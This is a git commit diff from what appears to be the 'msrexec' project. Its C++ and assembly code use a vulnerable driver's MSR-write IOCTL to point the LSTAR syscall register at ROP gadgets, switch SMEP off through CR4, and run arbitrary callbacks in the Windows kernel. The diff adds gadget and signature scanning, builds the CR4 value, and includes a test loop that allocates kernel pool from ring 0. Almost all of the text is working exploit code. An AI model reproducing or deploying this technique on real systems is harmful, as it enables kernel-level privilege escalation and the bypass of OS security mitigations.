i think my ssd i dying, this is a temp push...

merge-requests/1/head
_xeroxz 3 years ago
parent 0fcc7cab62
commit e011f67935

21527
ia32.hpp

File diff suppressed because it is too large Load Diff

@ -18,12 +18,12 @@ int __cdecl main(int argc, char** argv)
std::printf("ntoskrnl base address -> 0x%p\n", utils::kmodule::get_base("ntoskrnl.exe")); std::printf("ntoskrnl base address -> 0x%p\n", utils::kmodule::get_base("ntoskrnl.exe"));
std::printf("NtShutdownSystem -> 0x%p\n", utils::kmodule::get_export("ntoskrnl.exe", "NtShutdownSystem")); std::printf("NtShutdownSystem -> 0x%p\n", utils::kmodule::get_export("ntoskrnl.exe", "NtShutdownSystem"));
writemsr_t _write_msr = writemsr_t _write_msr =
[&](std::uint32_t reg, std::uintptr_t value) -> void [&](std::uint32_t reg, std::uintptr_t value) -> void
{ {
// put your code here to write MSR.... // put your code here to write MSR....
// the code is defined in vdm::writemsr for me... // the code is defined in vdm::writemsr for me...
vdm::writemsr(reg, value); vdm::writemsr(reg, value);
}; };
const auto ex_alloc_pool = const auto ex_alloc_pool =
@ -31,7 +31,7 @@ int __cdecl main(int argc, char** argv)
utils::kmodule::get_export( utils::kmodule::get_export(
"ntoskrnl.exe", "ExAllocatePool")); "ntoskrnl.exe", "ExAllocatePool"));
const auto dbg_print = const auto dbg_print =
reinterpret_cast<dbg_print_t>( reinterpret_cast<dbg_print_t>(
utils::kmodule::get_export( utils::kmodule::get_export(
"ntoskrnl.exe", "DbgPrint")); "ntoskrnl.exe", "DbgPrint"));
@ -43,13 +43,13 @@ int __cdecl main(int argc, char** argv)
for (auto idx = 0u; idx < 100; ++idx) for (auto idx = 0u; idx < 100; ++idx)
{ {
msrexec.exec([&ex_alloc_pool, &dbg_print]() -> void msrexec.exec([&ex_alloc_pool, &dbg_print]() -> void
{ {
dbg_print("> allocated pool -> 0x%p\n", dbg_print("> allocated pool -> 0x%p\n",
ex_alloc_pool(NULL, 0x1000)); ex_alloc_pool(NULL, 0x1000));
}); });
} }
const auto unload_result = const auto unload_result =
vdm::unload_drv(drv_handle, drv_key); vdm::unload_drv(drv_handle, drv_key);
if (unload_result != STATUS_SUCCESS) if (unload_result != STATUS_SUCCESS)
@ -60,4 +60,4 @@ int __cdecl main(int argc, char** argv)
std::printf("completed tests...\n"); std::printf("completed tests...\n");
std::getchar(); std::getchar();
} }

@ -1,12 +1,12 @@
#include "msrexec.hpp" #include "msrexec.hpp"
void msrexec_handler() void msrexec_handler(callback_t* callback)
{ {
// restore LSTAR.... // restore LSTAR....
__writemsr(IA32_LSTAR_MSR, m_system_call); __writemsr(IA32_LSTAR_MSR, m_system_call);
// call usermode code... // call usermode code...
//callback(); (*callback)(ntoskrnl_base, get_system_routine);
} }
namespace vdm namespace vdm
@ -14,39 +14,129 @@ namespace vdm
msrexec_ctx::msrexec_ctx(writemsr_t wrmsr) msrexec_ctx::msrexec_ctx(writemsr_t wrmsr)
: wrmsr(wrmsr) : wrmsr(wrmsr)
{ {
if (!m_mov_cr4_gadget || !m_sysret_gadget || !m_pop_rcx_gadget)
if (!find_gadgets())
std::printf("> failed to find gadgets...\n");
if (!m_kpcr_rsp_offset || !m_kpcr_krsp_offset || !m_system_call)
if (!find_globals())
std::printf("> failed to find globals...\n");
// this is a guess aided by cpuid feature checks...
cpuid_eax_01 cpuid_info;
__cpuid((int*)&cpuid_info, 1);
cpuid_eax_07 cpuid_features;
__cpuid((int*)&cpuid_features, 7);
// if i dont set a bit, it means its 0...
cr4 cr4_value{};
cr4_value.debugging_extensions = true;
cr4_value.page_size_extensions = true;
cr4_value.machine_check_enable = true;
// however the system can still *not* have PAE enabled
// but i assume if its supported, windows will use it...
// if you find out otherwise please email: _xeroxz@back.engineer...
cr4_value.physical_address_extension =
cpuid_info.cpuid_feature_information_edx.physical_address_extension;
// again the system can still *not* have PGE enabled
// but i assume if its supported, windows will use it...
// if you find out otherwise please email: _xeroxz@back.engineer...
cr4_value.page_global_enable =
cpuid_info.cpuid_feature_information_edx.page_global_bit;
// again the system can still *not* have FXSAVE/FXRSTOR enabled
// but i assume if its supported, windows will use it...
// if you find out otherwise please email: _xeroxz@back.engineer...
cr4_value.os_fxsave_fxrstor_support =
cpuid_info.cpuid_feature_information_edx.fxsave_fxrstor_instructions;
// windows has this bit high on my VM so I
// assume windows can handle these exceptions...
// if you find out otherwise please email: _xeroxz@back.engineer...
cr4_value.os_xmm_exception_support = true;
cr4_value.fsgsbase_enable =
IsProcessorFeaturePresent(PF_RDWRFSGSBASE_AVAILABLE);
cr4_value.os_xsave =
IsProcessorFeaturePresent(PF_XSAVE_ENABLED);
m_smep_off.flags = cr4_value.flags;
m_smep_off.smep_enable = false;
// WARNING: some virtual machines dont have SMEP...
// my VMWare VM doesnt... nor does my Virtual Box VM...
m_smep_on.flags = cr4_value.flags;
m_smep_on.smap_enable = cpuid_features.ebx.smep;
ntoskrnl_base =
reinterpret_cast<void*>(
utils::kmodule::get_base("ntoskrnl.exe"));
get_system_routine =
reinterpret_cast<get_system_routine_t>(
utils::kmodule::get_export(
"ntoskrnl.exe", "RtlFindExportedRoutineByName"));
std::printf("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget);
std::printf("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget);
std::printf("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget);
std::printf("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset);
std::printf("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset);
std::printf("> m_system_call -> 0x%p\n", m_system_call);
std::printf("> check to make sure none of these^ are zero before pressing enter...\n");
std::getchar();
}
auto msrexec_ctx::find_gadgets() -> bool
{
m_mov_cr4_gadget =
utils::rop::find_kgadget(
MOV_CR4_GADGET, "xxxx");
if (!m_mov_cr4_gadget) if (!m_mov_cr4_gadget)
m_mov_cr4_gadget = return {};
utils::rop::find_kgadget(
MOV_CR4_GADGET, "xxxx"); m_sysret_gadget =
utils::rop::find_kgadget(
SYSRET_GADGET, "xxx");
if (!m_sysret_gadget) if (!m_sysret_gadget)
m_sysret_gadget = return {};
utils::rop::find_kgadget(
SYSRET_GADGET, "xxx"); m_pop_rcx_gadget =
utils::rop::find_kgadget(
POP_RCX_GADGET, "xx");
if (!m_pop_rcx_gadget) if (!m_pop_rcx_gadget)
m_pop_rcx_gadget = return {};
utils::rop::find_kgadget(
POP_RCX_GADGET, "xx");
if (m_kpcr_rsp_offset && m_kpcr_krsp_offset) return true;
return; }
m_smep_off = 0x6F8; // TODO construct cr4 value... auto msrexec_ctx::find_globals() -> bool
m_smep_on = 0x6F8; {
const auto [section_data, section_rva] = const auto [section_data, section_rva] =
utils::pe::get_section( utils::pe::get_section(
reinterpret_cast<std::uintptr_t>( reinterpret_cast<std::uintptr_t>(
LoadLibraryA("ntoskrnl.exe")), ".text"); LoadLibraryA("ntoskrnl.exe")), ".text");
const auto ki_system_call = const auto ki_system_call =
utils::scan(reinterpret_cast<std::uintptr_t>( utils::scan(reinterpret_cast<std::uintptr_t>(
section_data.data()), section_data.size(), section_data.data()), section_data.size(),
KI_SYSCALL_SIG, KI_SYSCALL_MASK); KI_SYSCALL_SIG, KI_SYSCALL_MASK);
m_system_call = (ki_system_call - if (!ki_system_call)
return {};
m_system_call = (ki_system_call -
reinterpret_cast<std::uintptr_t>( reinterpret_cast<std::uintptr_t>(
section_data.data())) + section_rva + section_data.data())) + section_rva +
utils::kmodule::get_base("ntoskrnl.exe"); utils::kmodule::get_base("ntoskrnl.exe");
/* /*
@ -58,13 +148,7 @@ namespace vdm
m_kpcr_rsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 8); m_kpcr_rsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 8);
m_kpcr_krsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 17); m_kpcr_krsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 17);
return true;
std::printf("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget);
std::printf("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget);
std::printf("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget);
std::printf("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset);
std::printf("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset);
std::printf("> m_system_call -> 0x%p\n", m_system_call);
} }
void msrexec_ctx::exec(callback_t kernel_callback) void msrexec_ctx::exec(callback_t kernel_callback)
@ -83,13 +167,20 @@ namespace vdm
while (!SwitchToThread()); while (!SwitchToThread());
// set LSTAR to first rop gadget... race begins here... // set LSTAR to first rop gadget... race begins here...
wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget); if (!wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget))
std::printf("> failed to set LSTAR...\n");
// go go gadget kernel execution... else
syscall_wrapper(kernel_callback); // go go gadget kernel execution...
syscall_wrapper(&kernel_callback);
// reset thread priority... // reset thread priority...
SetPriorityClass(GetCurrentProcess(), thread_info.first); SetPriorityClass(GetCurrentProcess(), thread_info.first);
SetThreadPriority(GetCurrentThread(), thread_info.second); SetThreadPriority(GetCurrentThread(), thread_info.second);
} }
void msrexec_ctx::set_wrmsr(writemsr_t wrmsr)
{ this->wrmsr = wrmsr; }
auto msrexec_ctx::get_wrmsr() -> writemsr_t const
{ return this->wrmsr; }
} }

@ -8,15 +8,19 @@
#define POP_RCX_GADGET "\x59\xc3" #define POP_RCX_GADGET "\x59\xc3"
#define SYSRET_GADGET "\x48\x0F\x07" #define SYSRET_GADGET "\x48\x0F\x07"
// this is win10 2004... TODO: see how far back this signature works... // not sure how far back this signature goes... works on 1507 though....
#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA" #define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA"
#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx" #define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx"
static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size..."); static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size...");
using callback_t = std::function<void()>; using get_system_routine_t = void* (*)(void*, const char*);
using callback_t = std::function<void(void*, get_system_routine_t)>;
using thread_info_t = std::pair<std::uint32_t, std::uint32_t>; using thread_info_t = std::pair<std::uint32_t, std::uint32_t>;
using writemsr_t = std::function<void(std::uint32_t, std::uintptr_t)>; using writemsr_t = std::function<bool(std::uint32_t, std::uintptr_t)>;
extern "C" void msrexec_handler();
extern "C" void msrexec_handler(callback_t* callback);
inline get_system_routine_t get_system_routine = nullptr;
inline void* ntoskrnl_base = nullptr;
namespace vdm namespace vdm
{ {
@ -25,7 +29,11 @@ namespace vdm
public: public:
explicit msrexec_ctx(writemsr_t wrmsr); explicit msrexec_ctx(writemsr_t wrmsr);
void exec(callback_t kernel_callback); void exec(callback_t kernel_callback);
void set_wrmsr(writemsr_t wrmsr);
auto get_wrmsr() -> writemsr_t const;
private: private:
auto find_gadgets() -> bool;
auto find_globals() -> bool;
writemsr_t wrmsr; writemsr_t wrmsr;
}; };
} }

@ -11,6 +11,7 @@
</ProjectConfiguration> </ProjectConfiguration>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="ia32.hpp" />
<ClInclude Include="loadup.hpp" /> <ClInclude Include="loadup.hpp" />
<ClInclude Include="msrexec.hpp" /> <ClInclude Include="msrexec.hpp" />
<ClInclude Include="raw_driver.hpp" /> <ClInclude Include="raw_driver.hpp" />

@ -29,6 +29,9 @@
<ClInclude Include="msrexec.hpp"> <ClInclude Include="msrexec.hpp">
<Filter>Header Files</Filter> <Filter>Header Files</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="ia32.hpp">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClCompile Include="main.cpp"> <ClCompile Include="main.cpp">

@ -4,7 +4,7 @@ extern msrexec_handler : proc
; offsets into _KPCR/_KPRCB ; offsets into _KPCR/_KPRCB
m_kpcr_rsp_offset dq 0h m_kpcr_rsp_offset dq 0h
m_kpcr_krsp_offset dq 0h m_kpcr_krsp_offset dq 0h
m_system_call dq 0h m_system_call dq 0h
m_mov_cr4_gadget dq 0h m_mov_cr4_gadget dq 0h
m_sysret_gadget dq 0h m_sysret_gadget dq 0h
@ -13,7 +13,6 @@ extern msrexec_handler : proc
m_smep_on dq 0h m_smep_on dq 0h
m_smep_off dq 0h m_smep_off dq 0h
; all of these are setup by the c++ code...
public m_smep_on public m_smep_on
public m_smep_off public m_smep_off
@ -54,25 +53,28 @@ syscall_handler proc
syscall_handler endp syscall_handler endp
syscall_wrapper proc syscall_wrapper proc
push r10 push r10 ; syscall puts RIP into rcx...
mov r10, rcx mov r10, rcx ; swap r10 and rcx...
push m_sysret_gadget push m_sysret_gadget ; REX.W prefixed...
lea rax, finish lea rax, finish ; preserved value of RIP by putting it on the stack here...
push rax push rax ;
push m_pop_rcx_gadget
push m_mov_cr4_gadget push m_pop_rcx_gadget ; gadget to put RIP back into rcx...
push m_smep_on
push m_pop_rcx_gadget
lea rax, syscall_handler push m_mov_cr4_gadget ; turn smep back on...
push rax
push m_mov_cr4_gadget push m_smep_on ; value of CR4 with smep off...
push m_smep_off push m_pop_rcx_gadget ;
syscall
lea rax, syscall_handler ; rop to syscall_handler to handle the syscall...
push rax ;
push m_mov_cr4_gadget ; disable smep...
push m_smep_off ;
syscall ; LSTAR points at a pop rcx gadget...
; it will put m_smep_off into rcx...
finish: finish:
pop r10 pop r10
ret ret

@ -1,13 +0,0 @@
#pragma once
#include <cstdint>
extern "C" std::uint32_t m_kpcr_rsp_offset;
extern "C" std::uint32_t m_kpcr_krsp_offset;
extern "C" std::uintptr_t m_pop_rcx_gadget;
extern "C" std::uintptr_t m_mov_cr4_gadget;
extern "C" std::uintptr_t m_sysret_gadget;
extern "C" std::uintptr_t m_smep_on;
extern "C" std::uintptr_t m_smep_off;
extern "C" std::uintptr_t m_system_call;
extern "C" void syscall_wrapper(...);

@ -17,6 +17,7 @@
#include <string> #include <string>
#include <vector> #include <vector>
#include <map> #include <map>
#include "ia32.hpp"
typedef struct _RTL_PROCESS_MODULE_INFORMATION typedef struct _RTL_PROCESS_MODULE_INFORMATION
{ {
@ -38,6 +39,24 @@ typedef struct _RTL_PROCESS_MODULES
RTL_PROCESS_MODULE_INFORMATION Modules[1]; RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; } RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
extern "C++"
{
char _RTL_CONSTANT_STRING_type_check(const WCHAR* s);
// __typeof would be desirable here instead of sizeof.
template <size_t N> class _RTL_CONSTANT_STRING_remove_const_template_class;
template <> class _RTL_CONSTANT_STRING_remove_const_template_class<sizeof(char)> { public: typedef char T; };
template <> class _RTL_CONSTANT_STRING_remove_const_template_class<sizeof(WCHAR)> { public: typedef WCHAR T; };
#define _RTL_CONSTANT_STRING_remove_const_macro(s) \
(const_cast<_RTL_CONSTANT_STRING_remove_const_template_class<sizeof((s)[0])>::T*>(s))
}
#define RTL_CONSTANT_STRING(s) \
{ \
sizeof( s ) - sizeof( (s)[0] ), \
sizeof( s ) / sizeof(_RTL_CONSTANT_STRING_type_check(s)), \
_RTL_CONSTANT_STRING_remove_const_macro(s) \
}
namespace utils namespace utils
{ {
inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask) inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask)

@ -50,12 +50,12 @@ namespace vdm
return driver::unload(drv_key); return driver::unload(drv_key);
} }
inline auto writemsr(std::uint32_t reg, std::uintptr_t value) -> void inline auto writemsr(std::uint32_t reg, std::uintptr_t value) -> bool
{ {
std::uint32_t bytes_handled; std::uint32_t bytes_handled;
write_msr_t io_data{ reg, value }; write_msr_t io_data{ reg, value };
DeviceIoControl return DeviceIoControl
( (
vdm::drv_handle, IOCTL_WRMSR, vdm::drv_handle, IOCTL_WRMSR,
&io_data, sizeof io_data, &io_data, sizeof io_data,

Loading…
Cancel
Save